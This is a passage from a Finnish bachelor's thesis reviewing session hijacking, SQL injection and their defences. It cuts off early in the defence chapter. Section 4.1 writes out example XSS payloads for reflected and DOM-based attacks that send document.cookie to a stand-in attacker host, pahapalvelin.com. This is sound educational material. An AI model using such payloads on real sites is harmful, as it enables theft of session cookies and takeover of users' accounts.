Tampereen yliopisto

Otso Tikkanen

ISTUNTOKAAPPAUS JA SQL-INJEKTIO UHKANA VERKKOSIVUJEN TURVALLISUUDELLE

Kandidaattitutkielma
Informaatioteknologian ja viestinnän tiedekunta
Elokuu 2025

TEKOÄLYN KÄYTTÖ OPINNÄYTTEESSÄ

Opinnäytteessäni on käytetty tekoälysovelluksia:

☒ Ei
☐ Kyllä

TIIVISTELMÄ

Otso Tikkanen: Istuntokaappaus ja SQL- injektio uhkana verkkosivujen turvallisuudelle
Kandidaattitutkielma
Tampereen yliopisto
Tietojenkäsittelytieteiden tutkinto-ohjelma
Elokuu 2025

Verkkosivujen tietoturva on jatkuvan muutoksen alaisena oleva tärkeä osa verkkosivuja. Verkkosivut tallentavat usein tärkeitä tietoja käyttäjistä ja niihin käsiksi pääseminen tai uhrin käyttäjätiliin murtautuminen voi olla todella haitallista uhrin kannalta. Tässä työssäni esittelen kaksi hyökkäystekniikkaa nimeltä istuntokaappaus ja SQL-injektio. Lopuksi esittelen parhaat tekniikat näiden hyökkäysten ehkäisemiseen. Työni jakautuu siis neljään osaan: SQL-injektion esittely, istuntokaappauksen esittely, parhaiden SQL-injektiolta suojautumiskeinojen esittely ja parhaiden istuntokaappaukselta suojautumiskeinojen esittely.

Työssäni kerron, että SQL-injektiolla tarkoitetaan hyökkäystä, jossa hyökkääjä pääsee tekemään haitallisia kyselyitä tietokantaan. Tämä on mahdollista kohdassa, jossa palvelin luo dynaamisesti SQL-kyselyn. Istuntokaappaus on mahdollista, jos verkkosivut käyttävät web-istuntoa. Istuntotunniste on merkkijono, jonka avulla palvelin tunnistaa käyttäjän ja pääsee sen tietoihin käsiksi. Istuntokaappaus perustuu istuntotunnisteen varastamiseen. Yleensä istuntotunniste kulkee palvelimen ja selaimen välisissä kutsuissa mukana evästeenä. Sen varastamistekniikoiksi nimeän Cross Site Scripting (XSS), Man in the middle (MITM) ja tunnuksen arvaaminen tilanteissa, joissa palvelin luo sen ennalta arvattavalla tavalla.

Parhaaksi SQL-injektiolta suojautumistekniikaksi nimeän valmistellun ja parametrisoidun kyselyn. Tässä tekniikassa SQL-koodi on käännetty ennalta ja lisätyt parametrit tulkitaan merkkijonona. SQL-koodiin on nyt mahdotonta vaikuttaa. Parhaiksi Istuntokaappaukselta suojautumiskeinoiksi olen nimennyt oikeiden evästeiden ominaisuuksien käyttämisen. HttpOnly-ominaisuus estää selaimen puolen skriptien pääsyn käsiksi siihen. Sitä käytettäessä XSS avulla istuntotunnuksen käsiin saaminen ei ole mahdollista. Secure-ominaisuus estää, evästeen liittämisen kutsuihin, joita ei luokitella turvallisiksi. Tämä vaikeuttaa istuntotunnuksen saamista MITM avulla. Viimeiseksi istuntokaappauksen suorittamistavaksi olin nimennyt istuntotunnisteen arvaamisen tilanteessa, jossa palvelin luo sen ennalta arvattavalla tavalla. Tämän välttäminen vaatii sen, että istuntotunniste luodaan satunnaisesti. Tähän palvelimen kehittäjä voi käyttää esimerkiksi jotain luotettavaa kirjastoa.

Avainsanat: istuntokaappaus, SQL-injektio, eväste, Cross Site Scripting, istuntotunnus

Tämän julkaisun alkuperäisyys on tarkastettu Turnitin Originality Check -ohjelmalla.

SISÄLLYSLUETTELO

1. JOHDANTO 1
2. TUTKIMUSMENETELMÄT 3
3. SQL-INJEKTIOT 5
4. ISTUNTOKAAPPAUS 7
   4.1 Cross Site Scripting evästeen varastamiskeinona 8
   4.2 MITM-hyökkäys evästeen varastamiskeinona 10
   4.3 Muita evästeen varastamiskeinoja 11
5. SQL-INJEKTIOILTA SUOJAUTUMINEN 12
6. ISTUNTOKAAPPAUKSELTA SUOJAUTUMINEN 15
   6.1 XSS:ltä suojautuminen 15
   6.2 MITM-hyökkäykseltä suojautuminen 15
   6.3 Ennalta arvattavan istuntotunnuksen välttäminen 16
7. YHTEENVETO 18

1. JOHDANTO

Verkkosivujen tietoturva on olennaisen tärkeä osa nettisivuja. Nettisivuille voidaan tallentaa monenlaista käyttäjälle sensitiivisiä asioita. Esimerkiksi salasanat, käyttäjätunnukset ja sähköpostit ovat esimerkkejä tällaisista sensitiivisistä asioista. Salasanat varsinkin ovat tärkeitä, koska moni ihminen käyttää samaa salasanaa monessa paikassa. Pahimmassa tapauksessa esimerkiksi kissapeli.com sivuston salasanan päätyminen ilkeämielisten ihmisten käsiin saattaa johtaa hyökkääjien pääsyyn henkilön sähköpostiin ja sitä kautta muihin arvokkaisiin tietoihin.

Verkkosivujen tietoturvallisuus on minulle tärkeä asia, koska olen keskittynyt opinnoissani nettisivujen kehittämiseen aika paljon. Nettisivuhyökkäysten toimiminen ja verkkosivujen tietoturva ovat molemmat asioita, joihin haluan perehtyä enemmän ja näen tämän loistavana mahdollisuutena suorittaa kandinaattitutkielman ja oppia tietoturvallisuudesta siinä samalla lisää. Tämän tutkielman tekeminen toivottavasti lisää uskottavuuttani nettisivujen kehittäjänä työmarkkinoilla.

Niin hyökkäys- kuin puolustustekniikat ovat jatkuvan muutoksen alaisia asioita ja siksi niissä on tärkeää olla ajan tasalla. Laitteita, sovelluksia, nettisivuja ja muita hyökkäyskohteita on paljon erilaisia, joten aiheen rajaaminen on tärkeää. Keskityn tässä tutkielmassa nettisivuihin ja hyökkäystekniikoihin nimeltä *istuntokaappaus* (session hijacking) ja *SQL-injektio* (SQL injection).

Verkkosivuja on monenlaisia, mutta suurimman osan rakenne on seuraavanlainen: Nettisivu koostuu selaimesta, palvelimesta ja tietokannasta. Monesti mobiilisovellukset käyttävät samaa palvelinrajapintaa, kuin mitä selaimessa pyörivä käyttöliittymä käyttää. Tietokanta on paikka, johon nettisivu tallentaa osan tiedosta. Palvelimella sijaitsee se koodi, joka on vastuussa kulissien takana tapahtuvista toiminnoista kuten käyttäjätunnuksen ja salasanan oikeellisuuden tarkistamisesta. Selaimella ajetaan käyttöliittymän koodi, joka on yleensä HTML-, CSS- ja JavaScript-kielillä.

SQL-injektiolla tarkoitetaan hyökkäystä, jossa hyökkääjä pääse vaikuttamaan palvelimen suorittamiin tietokantakyselyihin. Monet nettisivut käyttävät tekniikka nimeltä *web-istunto* (web session), jossa palvelin tallentaa merkkijono käyttäjätieto pareja käyttäjästä, kun käyttäjä kirjautuu sisään. Merkkijono, jolla palvelin

tunnistaa käyttäjän, tallennetaan yleensä evästeenä selaimelle. Kyseinen merkkijono kulkee HTTP-kutsujen mukana ja tämän varastamista kutsutaan hyökkäykseksi nimeltä istuntokaappaus.

The Open Web Application Security (OWASP) on listannut vuonna 2017 ja 2021 kymmenen vaarallisinta tietoturvallisuusriskiä. Kategoria injektiot oli vuonna 2017 ensimmäisellä sijalla ja vuonna 2021 sijalla kolme. SQL-injektio sisältyy kategoriaan injektiot, joka oli molemmissa listauksissa kolmen vaarallisimman tietoturvallisuusriskin joukossa. Istuntokaappaukselle ei ole suoraan kategoriaa kummassakaan listauksessa, mutta monissa kategorioissa on sen elementtejä. Esimerkiksi vuoden 2017 listauksessa sijalla kaksi oleva *rikkinäinen todennus* (Broken authentication) määritellään siten, että funktiot kirjautumiseen ja istunnon hallintaan liittyen on suoritettu haavoittuvasti. Joskus nämä tilanteet tarkoittavat sitä, että istuntotunnus saadaan selville. Tässä tapauksessa nettisivu on istuntokaappaukselle haavoittuvainen, vaikka sitä ei suoraan sanota. Toisaalta vuonna 2017 sijan seitsemän ja vuonna 2021 kategoriaan injektiot sulautettu Cross Site Scripting on yksi istuntokaappauksen suorittamiskeino.

Tutkin tätä aihetta kehittäjän ja tätä myötä vähän yrityksien näkökulmasta. Monesti tämänkaltaisesta kandidaattitutkielmasta tulee todella abstrakti ja teoreettinen, mutta minun tavoitteeni on tuoda mahdollisimman paljon konkretiaa mukaan. Olen muotoillut tutkimuskysymykseni seuraavalla tavalla. **Miten SQL-injektiota ja istuntokaappausta käytetään osana nettisivuhyökkäyksiä ja miten niiltä voi suojautua?**

Työni esittelee toisessa kappaleessa tutkimusmenetelmät. Kolmannessa kappaleessa esittelen SQL-injektion. Neljännessä kappaleessa syvennytään istuntokaappaukseen. Viidennessä kappaleessa esitellään tapoja suojautua SQL-injektioilta ja kuudennessa tapoja suojautua istuntokaappaukselta. Seitsemäs kappale on päätöskappale.

2. TUTKIMUSMENETELMÄT

Työni tutkimusmenetelmä on kirjallisuuskatsaus eli etsin vastausta tutkimuskysymykseeni kirjallisuudesta. En käyttänyt mitään hakukoneita vaan tein haut suoraan tietokantoihin. Tietokannat, jota käytin olivat IEEE explore ja ProQuest. ProQuest-tietokantaan tein haut ”peer rewieved” -suodatin päällä.

Johdannossa mainitsin, että otin tämän aiheen siksi, että haluan syventyä aiheeseen enemmän. Näen tämän mahdollisuutena tehdä kolme asiaa samalla. Suorittaa kandidaatin tutkintoni ja sivistää itseäni aiheesta samalla lisäten uskottavuuttani työmarkkinoilla. Koska en itsekkään aiheesta paljoa ymmärtänyt, aluksi monet akateemiset lähteet olivat liian edistyneitä ja vaikeita ymmärtää. Monien aiheiden yhteydessä aloitin selaamalla ei akateemisia nettisivuja, lukemalla vanhojen aiheeseen liittyvien kurssien materiaaleja ja katsomalla YouTube-videoita saadakseni ymmärryksen perusasioista. Kun olin saanut ymmärryksen perusasioihin, siirryin akateemisiin lähteisiin, joita etsin mainitsemistani tietokannoista.

Hain lähteitä käyttäen loogisia operaattoreita AND ja OR. Käytin aluksi hakiessani Hakulausetta ”web AND (session hijacking OR SQL injection)”. Tällä haulla tuli paljon tuloksia ja osa lähteistäni löytyi tämän haun tuloksena. Kappaleiden 3, 4, 5, ja 6 yhteydessä tein erinäisiä hakuja mainitsemiini tietokantoihin. Kun halusin lähteitä nettisivujen toiminnalle, käytin hakua ”web session AND cookies AND session hijacking” ja SQL-injection toiminnalle hain lähteitä haulla ”web AND SQL injection AND prevent”. Lähteitä SQL-injektioilta puolustautumiseen etsiessäni käytin samaa hakua, mutta lisäsin perään ”AND NOT detect”, koska moni lähde keskittyi hyökkäysten havaitsemiseen. Tätä kappaletta varten hain lähteitä myös hajautusfunktioiden toimintaan, koska edellä mainitulla haulla ei niitä tullut. Kappaleessa neljä nimeän ne hyökkäystekniikat, joilla istuntokaappaus suoritetaan. Tein erinäisiä hakuja jokaiselle näistä hyökkäystekniikoista, saadakseni lähteitä niille.

Työn alkuvaiheessa en suodattanut hakutuloksia julkaisuvuoden mukaan, mutta sen edetessä aloin niin tekemään. Käytin ProQuest tietokannassa yleensä ”last 5 years”-suodatinta ja IEEE explore -tietokannassa suodatin ne julkaisuvuodesta 2020 eteenpäin. Minun tutkielmani keskittyy hyökkäystekniikoiden perusasioihin ja suurin osa hakujen tuloksista menivät suoraan minun tutkielmani kannalta liian edistyksellisiin asioihin. Lähteitä haullani tuli paljon. Totesin lähteen hyödylliseksi, jos se kertoi jotain

verkkosivujen toiminnasta tai mainitsemistani hyökkäystekniikoista. Jos valinnan varaa oli, kuten usein oli, valitsin tuoreimman lähteen.

Sopivia lähteitä löytäessäni välillä katsoin myös niiden lähteitä. Jos lähde näytti sisältävän jotain minun tutkielmani kannalta hyödyllistä, saatoin käyttää myös sitä lähdettä. Viimeinen tapa, jolla lähteitä hankin, oli tutkimalla trepossa julkaistuja informaatioteknologian ja viestinnän tiedekunnan kandidaattitutkielma, jotka liittyivät SQL-injektioihin tai istuntokaappaukseen jotenkin. Availin yhden kandidaattitukielman lähteitä ja tutkin, olisiko siellä jotain minulle hyödyllistä. Käytin tätä tekniikkaa kuitenkin varoen, koska en halunnut, että tutkielmastani tulee liian samanlainen. Ainoastaan OWASP listaukset ovat löydetty työhöni tällä tavalla.

3. SQL-INJEKTIOT

Lähes kaikki nettisivut koostuvat kolmesta osasta. Ensimmäinen on selain, joka sisältää kaiken käyttöliittymän ulkonäköön ja sen toimintaan liittyvän koodin. Sen lisäksi on palvelin, joka sisältää kaiken kulissien takana tapahtuvan koodin ja logiikan. Perinteinen asia, jonka palvelin tekee, on käyttäjänimen ja salasanan oikeellisuuden tarkastaminen. Kolmas osa on tietokanta, johon nettisivun tarvitsema tieto tallennetaan. Esimerkiksi salasanat ja käyttäjätunnukset tallennetaan sinne. Tietokannat voi jakaa kahteen kategoriaan. On NoSQL-tietokantoja ja SQL-tietokantoja (Wisal ym., 2023). Molempia on erilaisia ja yksi suosittu NoSQL-tietokanta on nimeltään MongoDB ja MySQL on suosittu SQLtietokanta.

SQL-tietokannat ovat niin sanottuja relaatiotietokantoja. Nämä toimivat siten, että niissä tieto tallennetaan tauluihin, joissa tieto sijaitsee riveillä. Esimerkiksi taulussa, johon tallennetaan tietoa käyttäjistä, yksi rivi sisältää tiedot yhdestä käyttäjästä. Näiden taulujen sisältöä eli yksittäisiä rivejä voi muokata, lisätä, poistaa tai hakea sieltä tietoa. Tämä tehdään kielellä nimeltä SQL (Structured Query Language). SQL-lauseita kutsutaan kyselyiksi. Riviä tai rivejä muokkaavat kyselyt alkavat UPDATE, poistavat DELETE, lisäävät INSERT ja hakevat SELECT. Nämä ovat kaikkein perustavimmanlaatuisia kyselyasioita ja voisin syventyä SQL-kieleen paljon tarkemminkin, mutta se ei ole SQL-injektioiden ymmärtämiseksi tarpeen. SQL-tietokannat koostuvat yleensä monesta taulusta ja ovat todella suosittuja verkkosivujen tietokantana. SQL-injektio on hyökkäystekniikka, jota voi käyttää vain nettisivuihin, jotka käyttävät jotain SQL-tietokantaa. Koska SQL-tietokannat ovat suosittuja, soveltuu SQL-injektio hyökkäystekniikkana moneen verkkosivuun. On olemassa myös NoSQL-injektio, jota voidaan käyttää NoSQL-tietokantaan (Praveen ym., 2022).

Kuten jo sanoin, SQL-kielellä voi muokata poistaa, lisätä tai hakea tietokannan sisältöä. SQL-injektio hyökkäyksessä näitä toimenpiteitä tekevät ei toivotut tahot ei toivotulla tavalla. Koska kaikki tietokannan kanssa tekemisisä oleva koodi sijaitsee palvelimella, SQL-injektiot ovat mahdollisia vain silloin, kun hyökkääjä pääse vaikuttamaan SQL-kyselyihin, joita palvelin muodostaa käyttämällä selaimen lähettämiä tietoja. Tämä on mahdollista syöttämällä SQL-koodia selaimella sijaitseviin syötekenttiin. (Ahmad ym., 2021) Tämä vaatii sen, että palvelin luo dynaamisesti kyselyitä selaimesta lähetettyjen tietojen avulla.

The open web application security project (OWASP) teki vuosina 2017 ja 2021 listaukset, jossa se arvioi mitkä ovat suurimpia riskejä nettisivujen turvallisuudelle. Vuonna 2017 listan kärjessä oli kategoria injektiot, johon SQL-injektiot tietenkin kuuluvat. Vuonna 2021 kategoria injektiot oli tippunut sijalle 3. On hyvä kuitenkin tietää, että vuonna 2021 Cross Site Scripting oli osa kategoriaa injektiot. Tämä on merkittävää, koska vuonna 2017 pelkkä Cross Site Scripting oli sijalla seitsemän. Tästä huolimatta kategoria injektiot oli vuonna 2021 vieläkin sijalla 3, joten vieläkin merkittävä tieturvallisuusriski.

Kambre ym., (2023) jakaa SQL-injektiot neljään eri kategoriaan. Ensimmäinen tekniikka on nimeltään virheeseen perustuva SQL-injektio. Tämän hyökkäyksen ideana on syöttää syötekenttään SQL-injektio, joka tietokantaan päästessään laukaisee virheilmoituksia. Ideana on se, että näiden virheilmoitusten avulla hyökkääjä voi päätellä tietokannan rakenteen. Tässä hyökkäystyypissä hyökkääjä käyttää samaa kanavaa sekä hyökkäyksen tekoon, että virheilmoitusten saamiseen.

Kaistan ulkopuolisiksi SQL-injektioksi kutsutaan sellaisia hyökkäyksiä, joissa vastaus saadaan jotain toista kanavaa pitkin kuin mitä pitkin se on tehty. Tämä hyökkäystekniikka on mahdollista vain silloin, kun palvelin laukaisee DNS tai HTTP-kutsun. On hyvä mainita, että nykyään melkein jokainen palvelin toimii näin.

Aikaan perustuva sokea SQL-injektio hyökkäys on kolmas hyökkäystekniikka. Tässä hyökkäystekniikassa SQL-injektion tavoitteena on syöttää selaimen kautta palvelimelle sellainen kysely, joka pakottaa tietokannan odottamaan tietyn ajanjakson ajan. Hyökkääjä tietää vastausajasta, että onko kyselyn vastaus tosi vai ei. Kyselyn vastaus on tosi, jos se voidaan suorittaan ilman, että virheilmoitus laukaistaan. Muussa tapauksessa vastaus on epätosi.

Kambren viimeinen kategoria on totuusarvoon perustuvat SQL-injektiot. Totuusarvoon perustuvat kyselyt pakottavat tietokanan antamaan erilaisen vastauksen joko virheelliseen tai virheettömään kyselyyn. Se toimii luettelemalla merkit tekstistä, joka purettava. Tämä teksti voi olla tietokannan nimi, taulun nimi, taulun rivin nimi ja niin edelleen.

Lopuksi on hyvä sanoa, että SQL-injektioita luokitellaan eri lähteissä eri tavoilla. Esimerkiksi Vekariya ym., (2024) luokittelee SQL-injektiot neljään kategoriaan. Yhteisiä kategorioita Kambren kanssa ovat virheeseen perustuva, aikaan perustuva ja totuusarvoon perustuva SQL-injektio. Tässä luokittelussa on myös enemmän kategorioita ja SQL-injektioita kategorisoidaan todella monella eri tavalla.

4. ISTUNTOKAAPPAUS

Jotta voisimme ymmärtää, miten nettisivuhyökkäykset toimivat, on ensin ymmärrettävä miten nettisivut toimivat. Seuraavaksi kerron muutamasta perustavanlaatuisesta nettisivun osasta. Hypertekstinsiirtoprotokolla, joka lyhennetään HTTP, toimii tietoliikenteen perustana WWW:ssä (World Wide Web) (LACroix ym., 2017). Tietoliikenteellä on kaksi päätä. Ensimmäinen on asiakas, jolla tarkoitetaan nettiselainta, kuten Chorme tai Edge. Toinen pää on palvelin, joka tekee kaiken kullisien takana tapahtuvan toiminnan kuten tarkastaa käyttäjätunnuksen ja salasanan oikeellisuuden. Kun kutsu lähetetään, asiakas käyttää “Uniform Resource Locator” eli URL tietoja ja tekee yhteyden palvelimelle. Kun kutsu on lähetetty palvelin vastaa kutsuun tavalla, jonka palvelimen kehittäjä on määrittänyt ja yhteys katkaistaan. (LACroix ym., 2017) Kun uusi erillinen yhteys luodaan ja kutsu tehdään, palvelin vastaa muistamatta aikaisempaa kutsua. Tätä ominaisuutta kutsutaan termillä tilattomuus.

Eväste on pieni tiedonpalanen, jota palvelin ja asiakas pallottelevat toisilleen. Tämä tiedonpalanen on kooltaan rajoitetun kokoinen ja kulkee jokaisen kutsun mukana. Lou Montulli, joka loi evästeen, oli mukana myös HTTP-protokollan tekemisessä. Se toimii asiakkaan ja palvelimen välisenä tunnuksena. Se on yksi tapa päästä tilattomuudesta eroon ja saada palvelin tunnistamaan, että mitkä kutsut kuuluvat mihinkin istuntoon. (LACroix ym., 2017) Perinteinen asia, jonka palvelimen kuuluisi muistaa on käyttäjän kirjautumisen tila. Onko käyttäjä kirjautunut vai ei? Onko käyttäjä ylläpitäjä, normaali käyttäjä vai jotain muuta? On muitakin keinoja saavuttaa mainitusta ominaisuudesta eroon pääseminen, mutta evästeen avulla se on helpointa.

Alenperin Montulli ei luonut evästettä tietoturva mielessä pitäen (LACroix ym., 2017). Se ei takaa tiedon luottamuksellisuutta eikä eheyttä. *Luottamuksellisuudella* (confidentiality) tarkoitetaan, että tieto ei ole saatavissa muiden kuin tietoon oikeutettujen tahojen toimesta. *Eheydellä* (integrity) tarkoitetaan tiedon olevan sitä mitä sen kuuluisikin olla. Esimerkiksi sen varmistaminen, että tietoa ei voi muuttaa on keskeistä eheyden kannalta. (Tampereen Yliopisto 2024) Evästeeseen on myöhemmin luotu turvallisuutta edistäviä toimintoja kuten HttpOnly ja Secure. Secure tarkoittaa sitä, että eväste liitetään kutsuihin vain, jos kutsu kulkee suojatun yhteyden kautta. Tämä liittyy HTTPS- ja HTTP-yhteyksien eroihin ja syvennyn tähän kappaleessa 6 tarkemmin. HttpOnly tarkoittaa, että evästeen käyttö on rajattu vain HTTP-kutsuihin, jolloin selaimen puolen skriptit eivät pääse käsiksi evästeeseen. Tämä koskee sekä kehittäjien että mahdollisten hyökkääjien

skriptejä. (LACroix ym., 2017) Kun skriptit eivät pääse evästeeseen käsiksi, istuntotunnisteen kaappaaminen evästeestä XSS:n avulla estetään.

Web-istunto on puolipysyvä tapa toteuttaa kirjautuminen nettisivulle (Meenakshi & Talwinder, 2020). Tyypillisesti tämä toteutetaan seuraavasti. Kun käyttäjä kirjautuu tai luo uuden käyttäjän, luodaan uniikki merkkijono, jolla käyttäjä voidaan tunnistaa. Tämä merkkijono lähetetään evästeenä takaisin kirjautujan selaimelle. Tämän lisäksi palvelimelle tallennetaan luotu merkkijono ja käyttäjätieto pareja. Näitä merkkinonoja tallennetaan palvelimella erilaisiin sijainteihin. Edellä mainitut NoSQL-tietokannat kuten MongoDB tai tietokanta nimeltä Redis ja SQL-tietokannat kuten MySQL ovat tämänlaisia paikkoja. Kun edellä mainitut toimenpiteet on tehty, istunto on valmis. Kun asiakas lähettää kutsun palvelimelle ja käyttäjän tietoja tarvitaan, päästään niihin käsiksi evästeessä olevan merkkijonon avulla. Hyökkäys, josta kohta puhumme, perustuu tämän evästeen varastamiseen/kopioimiseen.

Istuntokaappauksen ideana on, että hyökkääjä varastaa istuntotunnisteen evästeen jollain tavalla. Hyökkääjä voi esimerkiksi käyttää salakuunteluohjelmaa kuunnellakseen palvelimen ja asiakkaan välistä viestintää. Varastetulla istuntotunnisteella ei voi teeskennellä olevansa oikea käyttäjä ennen kuin se on kopioitu omalle selaimelle evästeenä. Hyökkääjä voi käyttää selainlaajennuksia kuten cookie-editor tai cookie-manager lisätäkseen kopion istuntotunnisteesta evästeenä omalle selaimelleen. (Meenakshi & Talwinder, 2020) Kun hyökkääjä on tehnyt tämän onnistuneesti, hän voi tehdä melkein mitä vain uhrin nimissä. Kun kyseinen käyttäjä kirjautuu ulos, palvelin poistaa istuntotunnisteen. Istunto päättyy palvelimella, eikä varastetulla istuntotunnisteella ole mitään arvoa.

Istuntokaappauksen hyvä puoli hyökkääjän kannalta on se, että hyökkääjän ei tarvitse tuhlata aikaa salasanan selvittämiseen tai varastamiseen (Meenakshi & Talwinder, 2020). Ei siis tarvitse murtaa salasanaa mitenkään, vaan riittää, että pääsee käsiksi istuntotunnukseen. Tämän tunnuksen voi varastaa monella tavalla: Cross Site Scripting, tunnuksen kopioiminen suoraan uhrin kovalevyltä, Man in the midddle -hyökkäys tai tunnukseen arvaaminen, jos palvelin generoi ennalta arvattavia istuntotunnuksia. (Meenakshi & Talwinder, 2020) Riippumatta keinosta, kun hyökkääjä saa tunnuksen käsiinsä, hän voi esiintyä uhrina. Kun uhri kirjautuu ulos, istunto loppuu. Osaltaan tästä syystä monien sivujen kirjautuneilta käyttäjiltä on rajattu toimintaa. Esimerkiksi salasanan vaihtaminen vaatii usein vanhan salasanan tietämistä.

4.1 Cross Site Scripting evästeen varastamiskeinona

Seuraavaksi kerron eri tavoista varastaa käyttäjän istunto. Tapoja on monia ja ensimmäinen tapa, johon syvennyn, on Cross Site Scripting eli XSS. Kuten SQL-injektiot, myös XSS suoritetaan syöttämällä ilkeämielistä koodia syötekenttiin selaimessa. SQL-injektioissa syötettiin SQL-koodia kohtiin, joissa luotiin dynaamisesti tietokantakyselyitä, mutta XSS:ssä syötetään JavaScript- tai HTML-koodia, joka suoritetaan uhrin selaimessa. XSS-hyökkäykset jaetaan kolmeen eri tyyppiin. Pysyvä tai varastoitu, heijastuva tai ei pysyvä ja DOM:iin (Document Objeckt Model) perustuva hyökkäys. (Shirvastava ym., 2016; Hydara ym., 2020)

Varastoidussa hyökkäyksessä hyökkääjä syöttää ilkeämielistä koodia syötekenttään. Tämän jälkeen käyttäjän syöte tallennetaan palvelimelle yleensä tietokantaan, tiedostojärjestelmiin tai johonkin muualle. (Hydara ym., 2020) Tämä palvelimelle tallennettu merkkijono näytetään muille käyttäjille. Helpoin esimerkki tämän tyyppisestä XSS-hyökkäyksestä on nettisivu, jossa on kommentointiominaisuus. Hyökkääjä voi syöttää kommentinluontikenttään ilkeämielistä HTML- tai JavaScript-koodia, joka tallennetaan palvelimelle. Kun muut käyttäjät tulevat näkymään, jossa tämä ”kommentti” sijaitsee, haetaan tämä palvelimelta ja näytetään se käyttäjälle. Koska se ei ole merkkijono, vaan HTML- tai JavaScript-koodia, ajaa selain sen välittömästi. Koska puhumme XSS:stä istuntokaappauksen välineenä, kyseinen ”kommentti” voisi olla esimerkiksi seuraavanlainen . Koska img tagi tulkitaan HMTL-koodiksi, se ajetaan uhrin selaimessa. Ilkeämielinen koodi voisi olla myös script tagin sisällä. Tämä kyseinen koodin pätkä toimii, koska img tagin src-attribuutti, joka kertoo missä kuva sijaitsee, on virheellinen, joka laukaisee onerror-attribuutin, missä lähetettäisiin käyttäjän evästeet hyökkääjän palvelimelle.

Heijastettu XSS-hyökkäys on mahdollista silloin, kun käyttäjän syötteen avulla generoidaan välittömästi ja dynaamisesti uusi sivu. Käyttäjän syötettä ei kuitenkaan tallenneta mihinkään kuten varastoidussa XSS:ssä ja siksi se ei vaikuta kaikkiin sivustolla vieraileviin ihmisiin. (Hydara ym., 2020) Kun on sivu, joka toimii näin, hyökkääjä voi syöttää haitallista koodia syötekenttään. Se voisi olla esimerkiksi <script>window.location=”http://pahapalvelin.com?cookie=” + document.cookie</script> , jossa alkuperäisen sivuston URL olisi https://sivusto.com. Haku syötekenttään ”moi” -sanan syötön jälkeen sivuston URL olisi https://sivusto.com?query=moi. Levittämällä linkkejä tai muulla tavalla huijaamalla muita käyttäjiä päätymään sivustolle ”https://sivusto.com?query=<script>window.location=”http://pahapalvelin.com?cookie=” + document.cookie</script>” hyökkääjä voisi saada käyttäjien istuntoevästeet itselleen.

Heijastettu XSS ei leviä kuin virus kuten varastoitu XSS ja olisi estettävissä, jos käyttäjät olisivat tieturva-asioista tietoisempia.

On olemassa tilanteita, joissa haitallisen koodin syöttäminen onnistuu, vaikka selain ei olisi mitenkään yhteydessä palvelimeen. Näitä hyökkäyksiä kutsutaan DOM pohjaisiksi XSS-hyökkäyksiksi. Tämä toimii silloin, kun syötekentällä vaikutetaan URL-parametriin. (Hydara ym., 2020) Tämän parametrin avulla kirjoitetaan HTML-koodia sivulle. Sivulla voi esimerkiksi olla monta nappia, joiden avulla renderöidään eri kuva. Sivun URL voi olla esimerkiksi https://sivusto.com#1, jossa 1 on sen kuvan numerotunnus, mikä renderöidään käyttäjille. Napeilla on tunnukset, joiden perusteella sivun img tagin src-atribuutti määräytyy. Tekemällä linkin: https://sivusto.com#y' onerror=window.location="http://pahapalvelin.com?cookie=" + document.cookie, hyökkääjä voi suorittaa hyökkäyksen. jakelemalla tätä hyökkääjä voi saada uhrit lähettämään evästeensä itselleen. Tämä toimii, jos sivulla olisi img tagi, jonka src määräytyisi URL:n # -jälkeen olevasta osasta. Y on vain minun esimerkki virheellisestä src-attribuutin arvosta joka laukaisee onerror-attribuutin.

4.2 MITM-hyökkäys evästeen varastamiskeinona

Man in the middle -höykkäyksessä (MITM) hyökkääjä salakuuntelee viestintää kahden osapuolen välillä (Wisal ym., 2024). Koska puhumme tästä istuntokaappauksen välineenä, osapuolet ovat käyttäjän selain ja palvelin. Salakuuntelemalla viestintää hyökkääjä pääsee käsiksi evästeeseen, jossa istuntotunnus on tallennettuna. Tapoja suorittaa MITM-hyökkäys on monta ja en pysty käymään niitä kaikkia läpi. Esitän seuraavaksi muutaman esimerkin.

Hyvä esimerkki MITM-hyökkäyksestä on se, että hyökkääjä tekee turvattoman langattoman internetin (WI-FI), jolla on viattoman kuuloinen nimi. Esimerkiksi Matin kahvilan lähistöllä olevan WI-FI:n nimi voisi olla Matin kahvilan ilmainen WI-FI. Kahvilaan menee henkilö, joka ottaa WI-FI:n käyttöön. Kun käyttäjää ottaa WIFI:n käyttöön, laite varoittaa sen turvattomuudesta, jonka tietämätön käyttäjä sivuuttaa. Tämän jälkeen hyökkääjä voi kuunnella tässä verkossa olevan henkilön kommunikointia jonkin sivuston palvelimen kanssa. Kun henkilö kirjautuu, hyökkääjä voi kopioida web-istunnon tunnuksen omalle selaimelleen evästeenä ja tehdä mitä palvelu sallii uhrin nimissä. Ihan kaikkea, kuten salasanan vaihtamista hyökkääjä ei välttämättä voi tehdä, koska monesti se vaatii vanhan salasanan tietämisen. Tämän tekniikan nimi on WIF-salakuuntelu.

Toinen klassinen tapaus on se, että vain sivuston kirjautumissivu käyttää HTTPS:ää ja muut sivut HTTP:tä. Tämä johtaa siihen, että vaikka kirjautumisen hetkellä

ei voi nettiyhteyttä salakuunnella, niin muilta sivuilta tulevissa kutsuissa on web-istunnon tunnus mukana evästeenä, jolloin sen salakuuntelu ja kopioiminen omalle selaimelle on mahdollista. Nykyään tämänlaisia sivuja ei kuitenkaan juurikaan ole olemassa, koska tästä riskistä ollaan tietoisia. MITM-hyökkäystekniikoita on muitakin kuten englanniksi DNS spoofing, IP spoofing ja Arp cache poisoning.

4.3 Muita evästeen varastamiskeinoja

Viimeiset keinot istuntotunnuksen varastamiseen ovat ennalta-arvattavan istuntotunnuksen arvaaminen ja suoraan kovalevyltä kopioiminen. Palvelin luo istuntotunnuksen muodostamalla merkkijonon, joka koostuu kutsun lähettäjän IP-osoitteesta ja kutsun lähetysajasta. Tämä on vain minun esimerkkini ennalta-arvattavasta tavasta, jolla palvelin luo istuntotunnuksen. Ennalta-arvattavia istuntotunnuksen luontitapoja on monia muitakin. Tämän kaltaisissa tilanteissa hyökkääjä voi arvata tunnuksen ja kopioida sen omalle selaimelle.

5. SQL-INJEKTIOILTA SUOJAUTUMINEN

SQL-injektiot tehdään syöttämällä ilkeämielistä koodia käyttöliittymän syötekenttiin kohdissa, joissa luodaan dynaamisesti kysely. Syötekenttien syötteiden sisällön validoiminen on oleellista SQL-injektioiden estämiseksi. Jos käyttäjän syöte hyväksytään sellaisenaan, on SQL-injektioiden tekeminen huomattavasti helpompaa kuin silloin, kun sitä ei tehdä. Tämä takia syöte kannattaa validoida selaimen puolella. Koska selaimen validointiin luottaminen on naiivia ja monesti helposti ohitettavissa, täytyy syöte validoida myös palvelimen puolella. (Ahmad ym., 2021)

